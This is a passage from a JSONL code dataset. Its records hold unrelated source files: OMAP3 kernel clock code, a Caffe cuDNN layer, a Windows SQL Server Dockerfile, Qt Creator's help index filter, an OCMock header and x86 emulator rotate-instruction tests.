sizeof(*idlest_reg));\n\tidlest_reg->offset &= ~0xf0;\n\tidlest_reg->offset |= 0x20;\n\t*idlest_bit = OMAP3430ES2_ST_SSI_IDLE_SHIFT;\n\t*idlest_val = OMAP34XX_CM_IDLEST_VAL;\n}\n\nconst struct clk_hw_omap_ops clkhwops_omap3430es2_iclk_ssi_wait = {\n\t.allow_idle\t= omap2_clkt_iclk_allow_idle,\n\t.deny_idle\t= omap2_clkt_iclk_deny_idle,\n\t.find_idlest\t= omap3430es2_clk_ssi_find_idlest,\n\t.find_companion\t= omap2_clk_dflt_find_companion,\n};\n\n/**\n * omap3430es2_clk_dss_usbhost_find_idlest - CM_IDLEST info for DSS, USBHOST\n * @clk: struct clk * being enabled\n * @idlest_reg: void __iomem ** to store CM_IDLEST reg address into\n * @idlest_bit: pointer to a u8 to store the CM_IDLEST bit shift into\n * @idlest_val: pointer to a u8 to store the CM_IDLEST indicator\n *\n * Some OMAP modules on OMAP3 ES2+ chips have both initiator and\n * target IDLEST bits. For our purposes, we are concerned with the\n * target IDLEST bits, which exist at a different bit position than\n * the *CLKEN bit position for these modules (DSS and USBHOST) (The\n * default find_idlest code assumes that they are at the same\n * position.) No return value.\n */\nstatic void\nomap3430es2_clk_dss_usbhost_find_idlest(struct clk_hw_omap *clk,\n\t\t\t\t\tstruct clk_omap_reg *idlest_reg,\n\t\t\t\t\tu8 *idlest_bit, u8 *idlest_val)\n{\n\tmemcpy(idlest_reg, &clk->enable_reg, sizeof(*idlest_reg));\n\n\tidlest_reg->offset &= ~0xf0;\n\tidlest_reg->offset |= 0x20;\n\t/* USBHOST_IDLE has same shift */\n\t*idlest_bit = OMAP3430ES2_ST_DSS_IDLE_SHIFT;\n\t*idlest_val = OMAP34XX_CM_IDLEST_VAL;\n}\n\nconst struct clk_hw_omap_ops clkhwops_omap3430es2_dss_usbhost_wait = {\n\t.find_idlest\t= omap3430es2_clk_dss_usbhost_find_idlest,\n\t.find_companion\t= omap2_clk_dflt_find_companion,\n};\n\nconst struct clk_hw_omap_ops clkhwops_omap3430es2_iclk_dss_usbhost_wait = {\n\t.allow_idle\t= omap2_clkt_iclk_allow_idle,\n\t.deny_idle\t= omap2_clkt_iclk_deny_idle,\n\t.find_idlest\t= omap3430es2_clk_dss_usbhost_find_idlest,\n\t.find_companion\t= omap2_clk_dflt_find_companion,\n};\n\n/**\n * omap3430es2_clk_hsotgusb_find_idlest - return CM_IDLEST info for HSOTGUSB\n * @clk: struct clk * being enabled\n * @idlest_reg: void __iomem ** to store CM_IDLEST reg address into\n * @idlest_bit: pointer to a u8 to store the CM_IDLEST bit shift into\n * @idlest_val: pointer to a u8 to store the CM_IDLEST indicator\n *\n * The OMAP3430ES2 HSOTGUSB target CM_IDLEST bit is at a different\n * shift from the CM_{I,F}CLKEN bit. Pass back the correct info via\n * @idlest_reg and @idlest_bit. No return value.\n */\nstatic void\nomap3430es2_clk_hsotgusb_find_idlest(struct clk_hw_omap *clk,\n\t\t\t\t struct clk_omap_reg *idlest_reg,\n\t\t\t\t u8 *idlest_bit,\n\t\t\t\t u8 *idlest_val)\n{\n\tmemcpy(idlest_reg, &clk->enable_reg, sizeof(*idlest_reg));\n\tidlest_reg->offset &= ~0xf0;\n\tidlest_reg->offset |= 0x20;\n\t*idlest_bit = OMAP3430ES2_ST_HSOTGUSB_IDLE_SHIFT;\n\t*idlest_val = OMAP34XX_CM_IDLEST_VAL;\n}\n\nconst struct clk_hw_omap_ops clkhwops_omap3430es2_iclk_hsotgusb_wait = {\n\t.allow_idle\t= omap2_clkt_iclk_allow_idle,\n\t.deny_idle\t= omap2_clkt_iclk_deny_idle,\n\t.find_idlest\t= omap3430es2_clk_hsotgusb_find_idlest,\n\t.find_companion\t= omap2_clk_dflt_find_companion,\n};\n\n/**\n * am35xx_clk_find_idlest - return clock ACK info for AM35XX IPSS\n * @clk: struct clk * being enabled\n * @idlest_reg: void __iomem ** to store CM_IDLEST reg address into\n * @idlest_bit: pointer to a u8 to store the CM_IDLEST bit shift into\n * @idlest_val: pointer to a u8 to store the CM_IDLEST indicator\n *\n * The interface clocks on AM35xx IPSS reflects the clock idle status\n * in the enable register itsel at a bit offset of 4 from the enable\n * bit. A value of 1 indicates that clock is enabled.\n */\nstatic void am35xx_clk_find_idlest(struct clk_hw_omap *clk,\n\t\t\t\t struct clk_omap_reg *idlest_reg,\n\t\t\t\t u8 *idlest_bit,\n\t\t\t\t u8 *idlest_val)\n{\n\tmemcpy(idlest_reg, &clk->enable_reg, sizeof(*idlest_reg));\n\t*idlest_bit = clk->enable_bit + AM35XX_IPSS_ICK_EN_ACK_OFFSET;\n\t*idlest_val = AM35XX_IPSS_CLK_IDLEST_VAL;\n}\n\n/**\n * am35xx_clk_find_companion - find companion clock to @clk\n * @clk: struct clk * to find the companion clock of\n * @other_reg: void __iomem ** to return the companion clock CM_*CLKEN va in\n * @other_bit: u8 ** to return the companion clock bit shift in\n *\n * Some clocks don't have companion clocks. For example, modules with\n * only an interface clock (such as HECC) don't have a companion\n * clock. Right now, this code relies on the hardware exporting a bit\n * in the correct companion register that indicates that the\n * nonexistent 'companion clock' is active. Future patches will\n * associate this type of code with per-module data structures to\n * avoid this issue, and remove the casts. No return value.\n */\nstatic void am35xx_clk_find_companion(struct clk_hw_omap *clk,\n\t\t\t\t struct clk_omap_reg *other_reg,\n\t\t\t\t u8 *other_bit)\n{\n\tmemcpy(other_reg, &clk->enable_reg, sizeof(*other_reg));\n\tif (clk->enable_bit & AM35XX_IPSS_ICK_MASK)\n\t\t*other_bit = clk->enable_bit + AM35XX_IPSS_ICK_FCK_OFFSET;\n\telse\n\t*other_bit = clk->enable_bit - AM35XX_IPSS_ICK_FCK_OFFSET;\n}\n\nconst struct clk_hw_omap_ops clkhwops_am35xx_ipss_module_wait = {\n\t.find_idlest\t= am35xx_clk_find_idlest,\n\t.find_companion\t= am35xx_clk_find_companion,\n};\n\n/**\n * am35xx_clk_ipss_find_idlest - return CM_IDLEST info for IPSS\n * @clk: struct clk * being enabled\n * @idlest_reg: void __iomem ** to store CM_IDLEST reg address into\n * @idlest_bit: pointer to a u8 to store the CM_IDLEST bit shift into\n * @idlest_val: pointer to a u8 to store the CM_IDLEST indicator\n *\n * The IPSS target CM_IDLEST bit is at a different shift from the\n * CM_{I,F}CLKEN bit. Pass back the correct info via @idlest_reg\n * and @idlest_bit. No return value.\n */\nstatic void am35xx_clk_ipss_find_idlest(struct clk_hw_omap *clk,\n\t\t\t\t\tstruct clk_omap_reg *idlest_reg,\n\t\t\t\t\tu8 *idlest_bit,\n\t\t\t\t\tu8 *idlest_val)\n{\n\tmemcpy(idlest_reg, &clk->enable_reg, sizeof(*idlest_reg));\n\n\tidlest_reg->offset &= ~0xf0;\n\tidlest_reg->offset |= 0x20;\n\t*idlest_bit = AM35XX_ST_IPSS_SHIFT;\n\t*idlest_val = OMAP34XX_CM_IDLEST_VAL;\n}\n\nconst struct clk_hw_omap_ops clkhwops_am35xx_ipss_wait = {\n\t.allow_idle\t= omap2_clkt_iclk_allow_idle,\n\t.deny_idle\t= omap2_clkt_iclk_deny_idle,\n\t.find_idlest\t= am35xx_clk_ipss_find_idlest,\n\t.find_companion\t= omap2_clk_dflt_find_companion,\n};\n\nstatic struct ti_dt_clk omap3xxx_clks[] = {\n\tDT_CLK(NULL, \"timer_32k_ck\", \"omap_32k_fck\"),\n\tDT_CLK(NULL, \"timer_sys_ck\", \"sys_ck\"),\n\t{ .node_name = NULL },\n};\n\nstatic struct ti_dt_clk omap36xx_omap3430es2plus_clks[] = {\n\tDT_CLK(NULL, \"ssi_ssr_fck\", \"ssi_ssr_fck_3430es2\"),\n\tDT_CLK(NULL, \"ssi_sst_fck\", \"ssi_sst_fck_3430es2\"),\n\tDT_CLK(NULL, \"hsotgusb_ick\", \"hsotgusb_ick_3430es2\"),\n\tDT_CLK(NULL, \"ssi_ick\", \"ssi_ick_3430es2\"),\n\t{ .node_name = NULL },\n};\n\nstatic struct ti_dt_clk omap3430es1_clks[] = {\n\tDT_CLK(NULL, \"ssi_ssr_fck\", \"ssi_ssr_fck_3430es1\"),\n\tDT_CLK(NULL, \"ssi_sst_fck\", \"ssi_sst_fck_3430es1\"),\n\tDT_CLK(NULL, \"hsotgusb_ick\", \"hsotgusb_ick_3430es1\"),\n\tDT_CLK(NULL, \"ssi_ick\", \"ssi_ick_3430es1\"),\n\tDT_CLK(NULL, \"dss1_alwon_fck\", \"dss1_alwon_fck_3430es1\"),\n\tDT_CLK(NULL, \"dss_ick\", \"dss_ick_3430es1\"),\n\t{ .node_name = NULL },\n};\n\nstatic struct ti_dt_clk omap36xx_am35xx_omap3430es2plus_clks[] = {\n\tDT_CLK(NULL, \"dss1_alwon_fck\", \"dss1_alwon_fck_3430es2\"),\n\tDT_CLK(NULL, \"dss_ick\", \"dss_ick_3430es2\"),\n\t{ .node_name = NULL },\n};\n\nstatic struct ti_dt_clk am35xx_clks[] = {\n\tDT_CLK(NULL, \"hsotgusb_ick\", \"hsotgusb_ick_am35xx\"),\n\tDT_CLK(NULL, \"hsotgusb_fck\", \"hsotgusb_fck_am35xx\"),\n\tDT_CLK(NULL, \"uart4_ick\", \"uart4_ick_am35xx\"),\n\tDT_CLK(NULL, \"uart4_fck\", \"uart4_fck_am35xx\"),\n\t{ .node_name = NULL },\n};\n\nstatic const char *enable_init_clks[] = {\n\t\"sdrc_ick\",\n\t\"gpmc_fck\",\n\t\"omapctrl_ick\",\n};\n\nenum {\n\tOMAP3_SOC_AM35XX,\n\tOMAP3_SOC_OMAP3430_ES1,\n\tOMAP3_SOC_OMAP3430_ES2_PLUS,\n\tOMAP3_SOC_OMAP3630,\n};\n\n/**\n * omap3_clk_lock_dpll5 - locks DPLL5\n *\n * Locks DPLL5 to a pre-defined frequency. This is required for proper\n * operation of USB.\n */\nvoid __init omap3_clk_lock_dpll5(void)\n{\n\tstruct clk *dpll5_clk;\n\tstruct clk *dpll5_m2_clk;\n\n\t/*\n\t * Errata sprz319f advisory 2.1 documents a USB host clock drift issue\n\t * that can be worked around using specially crafted dpll5 settings\n\t * with a dpll5_m2 divider set to 8. Set the dpll5 rate to 8x the USB\n\t * host clock rate, its .set_rate handler() will detect that frequency\n\t * and use the errata settings.\n\t */\n\tdpll5_clk = clk_get(NULL, \"dpll5_ck\");\n\tclk_set_rate(dpll5_clk, OMAP3_DPLL5_FREQ_FOR_USBHOST * 8);\n\tclk_prepare_enable(dpll5_clk);\n\n\t/* Program dpll5_m2_clk divider */\n\tdpll5_m2_clk = clk_get(NULL, \"dpll5_m2_ck\");\n\tclk_prepare_enable(dpll5_m2_clk);\n\tclk_set_rate(dpll5_m2_clk, OMAP3_DPLL5_FREQ_FOR_USBHOST);\n\n\tclk_disable_unprepare(dpll5_m2_clk);\n\tclk_disable_unprepare(dpll5_clk);\n}\n\nstatic int __init omap3xxx_dt_clk_init(int soc_type)\n{\n\tif (soc_type == OMAP3_SOC_AM35XX || soc_type == OMAP3_SOC_OMAP3630 ||\n\t soc_type == OMAP3_SOC_OMAP3430_ES1 ||\n\t soc_type == OMAP3_SOC_OMAP3430_ES2_PLUS)\n\t\tti_dt_clocks_register(omap3xxx_clks);\n\n\tif (soc_type == OMAP3_SOC_AM35XX)\n\t\tti_dt_clocks_register(am35xx_clks);\n\n\tif (soc_type == OMAP3_SOC_OMAP3630 || soc_type == OMAP3_SOC_AM35XX ||\n\t soc_type == OMAP3_SOC_OMAP3430_ES2_PLUS)\n\t\tti_dt_clocks_register(omap36xx_am35xx_omap3430es2plus_clks);\n\n\tif (soc_type == OMAP3_SOC_OMAP3430_ES1)\n\t\tti_dt_clocks_register(omap3430es1_clks);\n\n\tif (soc_type == OMAP3_SOC_OMAP3430_ES2_PLUS ||\n\t soc_type == OMAP3_SOC_OMAP3630)\n\t\tti_dt_clocks_register(omap36xx_omap3430es2plus_clks);\n\n\tomap2_clk_disable_autoidle_all();\n\n\tti_clk_add_aliases();\n\n\tomap2_clk_enable_init_clocks(enable_init_clks,\n\t\t\t\t ARRAY_SIZE(enable_init_clks));\n\n\tpr_info(\"Clocking rate (Crystal/Core/MPU): %ld.%01ld/%ld/%ld MHz\\n\",\n\t\t(clk_get_rate(clk_get_sys(NULL, \"osc_sys_ck\")) / 1000000),\n\t\t(clk_get_rate(clk_get_sys(NULL, \"osc_sys_ck\")) / 100000) % 10,\n\t\t(clk_get_rate(clk_get_sys(NULL, \"core_ck\")) / 1000000),\n\t\t(clk_get_rate(clk_get_sys(NULL, \"arm_fck\")) / 1000000));\n\n\tif (soc_type != OMAP3_SOC_OMAP3430_ES1)\n\t\tomap3_clk_lock_dpll5();\n\n\treturn 0;\n}\n\nint __init omap3430_dt_clk_init(void)\n{\n\treturn omap3xxx_dt_clk_init(OMAP3_SOC_OMAP3430_ES2_PLUS);\n}\n\nint __init omap3630_dt_clk_init(void)\n{\n\treturn omap3xxx_dt_clk_init(OMAP3_SOC_OMAP3630);\n}\n\nint __init am35xx_dt_clk_init(void)\n{\n\treturn omap3xxx_dt_clk_init(OMAP3_SOC_AM35XX);\n}\n"} +{"text": "var encode = module.exports = function (xs) {\n function bytes (s) {\n if (typeof s === 'string') {\n return s.split('').map(ord);\n }\n else if (Array.isArray(s)) {\n return s.reduce(function (acc, c) {\n return acc.concat(bytes(c));\n }, []);\n }\n }\n \n return new Buffer([ 0x1b ].concat(bytes(xs)));\n};\n\nvar ord = encode.ord = function ord (c) {\n return c.charCodeAt(0)\n};\n"} +{"text": "#ifdef USE_CUDNN\n#include \n\n#include \"caffe/layers/cudnn_tanh_layer.hpp\"\n\nnamespace caffe {\n\ntemplate \nvoid CuDNNTanHLayer::Forward_gpu(const vector*>& bottom,\n const vector*>& top) {\n const Dtype* bottom_data = bottom[0]->gpu_data();\n Dtype* top_data = top[0]->mutable_gpu_data();\n#if CUDNN_VERSION_MIN(5, 0, 0)\n CUDNN_CHECK(cudnnActivationForward(this->handle_,\n activ_desc_,\n cudnn::dataType::one,\n this->bottom_desc_, bottom_data,\n cudnn::dataType::zero,\n this->top_desc_, top_data));\n#else\n CUDNN_CHECK(cudnnActivationForward_v4(this->handle_,\n activ_desc_,\n cudnn::dataType::one,\n this->bottom_desc_, bottom_data,\n cudnn::dataType::zero,\n this->top_desc_, top_data));\n#endif\n}\n\ntemplate \nvoid CuDNNTanHLayer::Backward_gpu(const vector*>& top,\n const vector& propagate_down,\n const vector*>& bottom) {\n if (!propagate_down[0]) {\n return;\n }\n\n const Dtype* top_data = top[0]->gpu_data();\n const Dtype* top_diff = top[0]->gpu_diff();\n const Dtype* bottom_data = bottom[0]->gpu_data();\n Dtype* bottom_diff = bottom[0]->mutable_gpu_diff();\n\n#if CUDNN_VERSION_MIN(5, 0, 0)\n CUDNN_CHECK(cudnnActivationBackward(this->handle_,\n activ_desc_,\n cudnn::dataType::one,\n this->top_desc_, top_data, this->top_desc_, top_diff,\n this->bottom_desc_, bottom_data,\n cudnn::dataType::zero,\n this->bottom_desc_, bottom_diff));\n#else\n CUDNN_CHECK(cudnnActivationBackward_v4(this->handle_,\n activ_desc_,\n cudnn::dataType::one,\n this->top_desc_, top_data, this->top_desc_, top_diff,\n this->bottom_desc_, bottom_data,\n cudnn::dataType::zero,\n this->bottom_desc_, bottom_diff));\n#endif\n}\n\nINSTANTIATE_LAYER_GPU_FUNCS(CuDNNTanHLayer);\n\n} // namespace caffe\n#endif\n"} +{"text": "# escape=`\nARG BASE_IMAGE\nARG ASSETS_IMAGE\n\nFROM $ASSETS_IMAGE as assets\nFROM $BASE_IMAGE\n\nARG ASSETS_USE_WDP\n\nENV ACCEPT_EULA='Y' `\n sa_password='HASH-epsom-sunset-cost7!' `\n INSTALL_PATH='C:\\\\install\\\\' `\n DATA_PATH='C:\\\\data\\\\'\n\nCOPY --from=assets [\"${ASSETS_USE_WDP}\", \"${INSTALL_PATH}\"]\nCOPY . ${INSTALL_PATH}\n\nRUN New-Item -Path $env:DATA_PATH -ItemType Directory | Out-Null; `\n & (Join-Path $env:INSTALL_PATH \"\\\\Extract-Databases.ps1\") -Path $env:INSTALL_PATH; `\n & (Join-Path $env:INSTALL_PATH \"\\\\Install-Databases.ps1\") -InstallPath $env:INSTALL_PATH -DataPath $env:DATA_PATH; `\n Copy-Item -Path (Join-Path $env:INSTALL_PATH \"\\\\Boot.ps1\") -Destination 'C:\\\\'; `\n Get-ChildItem -Path $env:INSTALL_PATH -Exclude \"*.mdf\", \"*.ldf\" | Remove-Item -Force; \n\nCMD C:/Boot.ps1 -InstallPath $env:INSTALL_PATH -DataPath $env:DATA_PATH"} +{"text": "/****************************************************************************\n**\n** Copyright (C) 2016 The Qt Company Ltd.\n** Contact: https://www.qt.io/licensing/\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and The Qt Company. For licensing terms\n** and conditions see https://www.qt.io/terms-conditions. For further\n** information use the contact form at https://www.qt.io/contact-us.\n**\n** GNU General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU\n** General Public License version 3 as published by the Free Software\n** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT\n** included in the packaging of this file. Please review the following\n** information to ensure the GNU General Public License requirements will\n** be met: https://www.gnu.org/licenses/gpl-3.0.html.\n**\n****************************************************************************/\n\n#include \"helpindexfilter.h\"\n\n#include \"helpicons.h\"\n#include \"helpmanager.h\"\n#include \"topicchooser.h\"\n\n#include \n#include \n#include \n#include \n\n#include \n\n#ifndef HELP_NEW_FILTER_ENGINE\n\n#include \n\n#include \n#include \n#include \n#include \n\n#else\n\n#include \"localhelpmanager.h\"\n#include \n#include \n#include \n\n#endif\n\nusing namespace Core;\nusing namespace Help;\nusing namespace Help::Internal;\n\nHelpIndexFilter::HelpIndexFilter()\n{\n setId(\"HelpIndexFilter\");\n setDisplayName(tr(\"Help Index\"));\n setIncludedByDefault(false);\n setShortcutString(\"?\");\n\n m_icon = Utils::Icons::BOOKMARK.icon();\n connect(Core::HelpManager::Signals::instance(), &Core::HelpManager::Signals::setupFinished,\n this, &HelpIndexFilter::invalidateCache);\n connect(Core::HelpManager::Signals::instance(),\n &Core::HelpManager::Signals::documentationChanged,\n this,\n &HelpIndexFilter::invalidateCache);\n connect(HelpManager::instance(), &HelpManager::collectionFileChanged,\n this, &HelpIndexFilter::invalidateCache);\n}\n\nHelpIndexFilter::~HelpIndexFilter() = default;\n\n#ifndef HELP_NEW_FILTER_ENGINE\n\nvoid HelpIndexFilter::prepareSearch(const QString &entry)\n{\n Q_UNUSED(entry)\n QStringList namespaces = HelpManager::registeredNamespaces();\n m_helpDatabases = Utils::transform(namespaces, &HelpManager::fileFromNamespace);\n}\n\nQList HelpIndexFilter::matchesFor(QFutureInterface &future, const QString &entry)\n{\n m_mutex.lock(); // guard m_needsUpdate\n bool forceUpdate = m_needsUpdate;\n m_mutex.unlock();\n\n if (forceUpdate || m_searchTermCache.size() < 2 || m_searchTermCache.isEmpty()\n || !entry.contains(m_searchTermCache)) {\n int limit = entry.size() < 2 ? 200 : INT_MAX;\n QSet results;\n for (const QString &filePath : qAsConst(m_helpDatabases)) {\n if (future.isCanceled())\n return QList();\n QSet result;\n QMetaObject::invokeMethod(this, \"searchMatches\", Qt::BlockingQueuedConnection,\n Q_RETURN_ARG(QSet, result),\n Q_ARG(QString, filePath),\n Q_ARG(QString, entry),\n Q_ARG(int, limit));\n results.unite(result);\n }\n m_mutex.lock(); // guard m_needsUpdate\n m_needsUpdate = false;\n m_mutex.unlock();\n m_keywordCache = results;\n m_searchTermCache = entry;\n }\n\n Qt::CaseSensitivity cs = caseSensitivity(entry);\n QList entries;\n QStringList keywords;\n QStringList unsortedKeywords;\n keywords.reserve(m_keywordCache.size());\n unsortedKeywords.reserve(m_keywordCache.size());\n QSet allresults;\n for (const QString &keyword : qAsConst(m_keywordCache)) {\n if (future.isCanceled())\n return QList();\n if (keyword.startsWith(entry, cs)) {\n keywords.append(keyword);\n allresults.insert(keyword);\n } else if (keyword.contains(entry, cs)) {\n unsortedKeywords.append(keyword);\n allresults.insert(keyword);\n }\n }\n Utils::sort(keywords);\n keywords << unsortedKeywords;\n m_keywordCache = allresults;\n m_searchTermCache = entry;\n for (const QString &keyword : qAsConst(keywords)) {\n const int index = keyword.indexOf(entry, 0, cs);\n LocatorFilterEntry filterEntry(this, keyword, QVariant(), m_icon);\n filterEntry.highlightInfo = {index, entry.length()};\n entries.append(filterEntry);\n }\n\n return entries;\n}\n\n#else\n\nbool HelpIndexFilter::updateCache(QFutureInterface &future,\n const QStringList &cache, const QString &entry)\n{\n const Qt::CaseSensitivity cs = caseSensitivity(entry);\n QStringList bestKeywords;\n QStringList worseKeywords;\n bestKeywords.reserve(cache.size());\n worseKeywords.reserve(cache.size());\n for (const QString &keyword : cache) {\n if (future.isCanceled())\n return false;\n if (keyword.startsWith(entry, cs))\n bestKeywords.append(keyword);\n else if (keyword.contains(entry, cs))\n worseKeywords.append(keyword);\n }\n bestKeywords << worseKeywords;\n m_lastIndicesCache = bestKeywords;\n m_lastEntry = entry;\n\n return true;\n}\n\nQList HelpIndexFilter::matchesFor(QFutureInterface &future, const QString &entry)\n{\n m_mutex.lock(); // guard m_needsUpdate\n bool forceUpdate = m_needsUpdate;\n m_mutex.unlock();\n\n if (forceUpdate) {\n QStringList indices;\n QMetaObject::invokeMethod(this, \"allIndices\", Qt::BlockingQueuedConnection,\n Q_RETURN_ARG(QStringList, indices));\n m_mutex.lock(); // guard m_needsUpdate\n m_needsUpdate = false;\n m_mutex.unlock();\n m_allIndicesCache = indices;\n // force updating the cache taking the m_allIndicesCache\n m_lastIndicesCache = QStringList();\n m_lastEntry = QString();\n }\n\n const QStringList cacheBase = m_lastEntry.isEmpty() || !entry.contains(m_lastEntry)\n ? m_allIndicesCache : m_lastIndicesCache;\n\n if (!updateCache(future, cacheBase, entry))\n return QList();\n\n const Qt::CaseSensitivity cs = caseSensitivity(entry);\n QList entries;\n for (const QString &keyword : qAsConst(m_lastIndicesCache)) {\n const int index = keyword.indexOf(entry, 0, cs);\n LocatorFilterEntry filterEntry(this, keyword, QVariant(), m_icon);\n filterEntry.highlightInfo = {index, int(entry.length())};\n entries.append(filterEntry);\n }\n\n return entries;\n}\n\n#endif\n\nvoid HelpIndexFilter::accept(LocatorFilterEntry selection,\n QString *newText, int *selectionStart, int *selectionLength) const\n{\n Q_UNUSED(newText)\n Q_UNUSED(selectionStart)\n Q_UNUSED(selectionLength)\n const QString &key = selection.displayName;\n#ifndef HELP_NEW_FILTER_ENGINE\n const QMultiMap &links = HelpManager::instance()->linksForKeyword(key);\n#else\n QMultiMap links;\n const QList docs = LocalHelpManager::helpEngine().documentsForKeyword(key, QString());\n for (const auto &doc : docs)\n links.insert(doc.title, doc.url);\n#endif\n emit linksActivated(links, key);\n}\n\nvoid HelpIndexFilter::refresh(QFutureInterface &future)\n{\n Q_UNUSED(future)\n invalidateCache();\n}\n\n#ifndef HELP_NEW_FILTER_ENGINE\n\nQSet HelpIndexFilter::searchMatches(const QString &databaseFilePath,\n const QString &term, int limit)\n{\n static const QLatin1String sqlite(\"QSQLITE\");\n static const QLatin1String name(\"HelpManager::findKeywords\");\n\n QSet keywords;\n\n { // make sure db is destroyed before removeDatabase call\n QSqlDatabase db = QSqlDatabase::addDatabase(sqlite, name);\n if (db.driver() && db.driver()->lastError().type() == QSqlError::NoError) {\n db.setDatabaseName(databaseFilePath);\n if (db.open()) {\n QSqlQuery query = QSqlQuery(db);\n query.setForwardOnly(true);\n query.exec(QString::fromLatin1(\"SELECT DISTINCT Name FROM IndexTable WHERE Name LIKE \"\n \"'%%1%' LIMIT %2\").arg(term, QString::number(limit)));\n while (query.next()) {\n const QString &keyValue = query.value(0).toString();\n if (!keyValue.isEmpty())\n keywords.insert(keyValue);\n }\n db.close();\n }\n }\n }\n QSqlDatabase::removeDatabase(name);\n return keywords;\n}\n\n#else\n\nQStringList HelpIndexFilter::allIndices() const\n{\n LocalHelpManager::setupGuiHelpEngine();\n return LocalHelpManager::filterEngine()->indices(QString());\n}\n\n#endif\n\nvoid HelpIndexFilter::invalidateCache()\n{\n m_mutex.lock();\n m_needsUpdate = true;\n m_mutex.unlock();\n}\n"} +{"text": "/*\n * Copyright (c) 2004-2020 Erik Doernenburg and contributors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n * not use these files except in compliance with the License. You may obtain\n * a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations\n * under the License.\n */\n\n#import \"OCMRecorder.h\"\n#import \"OCMFunctions.h\"\n#import \n\n@interface OCMStubRecorder : OCMRecorder\n\n- (id)andReturn:(id)anObject;\n- (id)andReturnValue:(NSValue *)aValue;\n- (id)andThrow:(NSException *)anException;\n- (id)andPost:(NSNotification *)aNotification;\n- (id)andCall:(SEL)selector onObject:(id)anObject;\n- (id)andDo:(void (^)(NSInvocation *invocation))block;\n- (id)andForwardToRealObject;\n\n@end\n\n\n@interface OCMStubRecorder (Properties)\n\n#define andReturn(aValue) _andReturn(({ \\\n __typeof__(aValue) _val = (aValue); \\\n NSValue *_nsval = [NSValue value:&_val withObjCType:@encode(__typeof__(_val))]; \\\n if (OCMIsObjectType(@encode(__typeof(_val)))) { \\\n objc_setAssociatedObject(_nsval, \"OCMAssociatedBoxedValue\", *(__unsafe_unretained id *) (void *) &_val, OBJC_ASSOCIATION_RETAIN); \\\n } \\\n _nsval; \\\n}))\n@property (nonatomic, readonly) OCMStubRecorder *(^ _andReturn)(NSValue *);\n\n#define andThrow(anException) _andThrow(anException)\n@property (nonatomic, readonly) OCMStubRecorder *(^ _andThrow)(NSException *);\n\n#define andPost(aNotification) _andPost(aNotification)\n@property (nonatomic, readonly) OCMStubRecorder *(^ _andPost)(NSNotification *);\n\n#define andCall(anObject, aSelector) _andCall(anObject, aSelector)\n@property (nonatomic, readonly) OCMStubRecorder *(^ _andCall)(id, SEL);\n\n#define andDo(aBlock) _andDo(aBlock)\n@property (nonatomic, readonly) OCMStubRecorder *(^ _andDo)(void (^)(NSInvocation *));\n\n#define andForwardToRealObject() _andForwardToRealObject()\n@property (nonatomic, readonly) OCMStubRecorder *(^ _andForwardToRealObject)(void);\n\n@property (nonatomic, readonly) OCMStubRecorder *(^ _ignoringNonObjectArgs)(void);\n\n@end\n\n\n\n"} +{"text": "/**\n * jemul8 - JavaScript x86 Emulator\n * http://jemul8.com/\n *\n * Copyright 2013 jemul8.com (http://github.com/asmblah/jemul8)\n * Released under the MIT license\n * http://jemul8.com/MIT-LICENSE.txt\n */\n\n/*global define */\ndefine([\n \"js/util\",\n \"tools/TestSystem\"\n], function (\n util,\n TestSystem\n) {\n \"use strict\";\n\n describe(\"CPU 'rcl' (rotate through carry left) instruction\", function () {\n /*jshint bitwise: false */\n var registers,\n system,\n testSystem;\n\n beforeEach(function (done) {\n testSystem = new TestSystem();\n system = testSystem.getSystem();\n registers = system.getCPURegisters();\n\n testSystem.init().done(function () {\n done();\n });\n });\n\n afterEach(function () {\n system.stop();\n registers = null;\n system = null;\n testSystem = null;\n });\n\n util.each({\n \"10111010b << 0 = 10111010b\": {\n is32BitCodeSegment: false,\n operand1: \"bl\",\n operand2: \"0\",\n registers: {\n bl: parseInt(\"10111010\", 2),\n\n cf: 1, // Set CF to ensure it is unaffected (count is zero)\n of: 1 // Set OF to ensure it is unaffected (not a 1-bit rotate)\n },\n expectedRegisters: {\n bl: parseInt(\"10111010\", 2),\n\n cf: 1, // Set CF to ensure it is unaffected (count is zero)\n of: 1 // Should be set (see above)\n }\n },\n \"10111010b << 1 = 01110101b\": {\n is32BitCodeSegment: false,\n operand1: \"bl\",\n operand2: \"1\",\n registers: {\n bl: parseInt(\"10111010\", 2),\n\n cf: 1, // Set CF to ensure it is shifted into LSB\n of: 0 // Clear OF to ensure it is set (1-bit rotate: CF XOR MSB)\n },\n expectedRegisters: {\n bl: parseInt(\"01110101\", 2),\n\n cf: 1, // CF should be left with one from the 1st MSB\n of: 1 // Should be set (see above)\n }\n },\n \"10111010b << 2 = 11101011b\": {\n is32BitCodeSegment: false,\n operand1: \"bl\",\n operand2: \"2\",\n registers: {\n bl: parseInt(\"10111010\", 2),\n\n cf: 1, // Set CF to ensure it is shifted into LSB\n of: 1 // Set OF to ensure it is unaffected (not a 1-bit rotate)\n },\n expectedRegisters: {\n bl: parseInt(\"11101011\", 2),\n\n cf: 0, // CF should be left with zero from the 2nd MSB\n of: 1 // Should be set (see above)\n }\n },\n \"10111010b << 3 = 11010110b\": {\n is32BitCodeSegment: false,\n operand1: \"bl\",\n operand2: \"3\",\n registers: {\n bl: parseInt(\"10111010\", 2),\n\n cf: 1, // Set CF to ensure it is shifted into LSB\n of: 1 // Set OF to ensure it is cleared\n },\n expectedRegisters: {\n bl: parseInt(\"11010110\", 2),\n\n cf: 1, // CF should be left with zero from the 2nd MSB\n of: 0 // Should be cleared (see above)\n }\n },\n \"0xc8a7 << 0xff = 0\": {\n is32BitCodeSegment: false,\n operand1: \"bx\",\n operand2: \"0xff\",\n registers: {\n bx: 0xc8a7,\n\n cf: 1, // Set CF to ensure it is shifted into LSB\n of: 1 // Set OF to ensure it is cleared\n },\n expectedRegisters: {\n bx: 0xf914,\n\n cf: 1, // CF should be left with one\n of: 0 // Should be cleared (see above)\n }\n },\n \"8-bit rotates should be modulo 9\": {\n 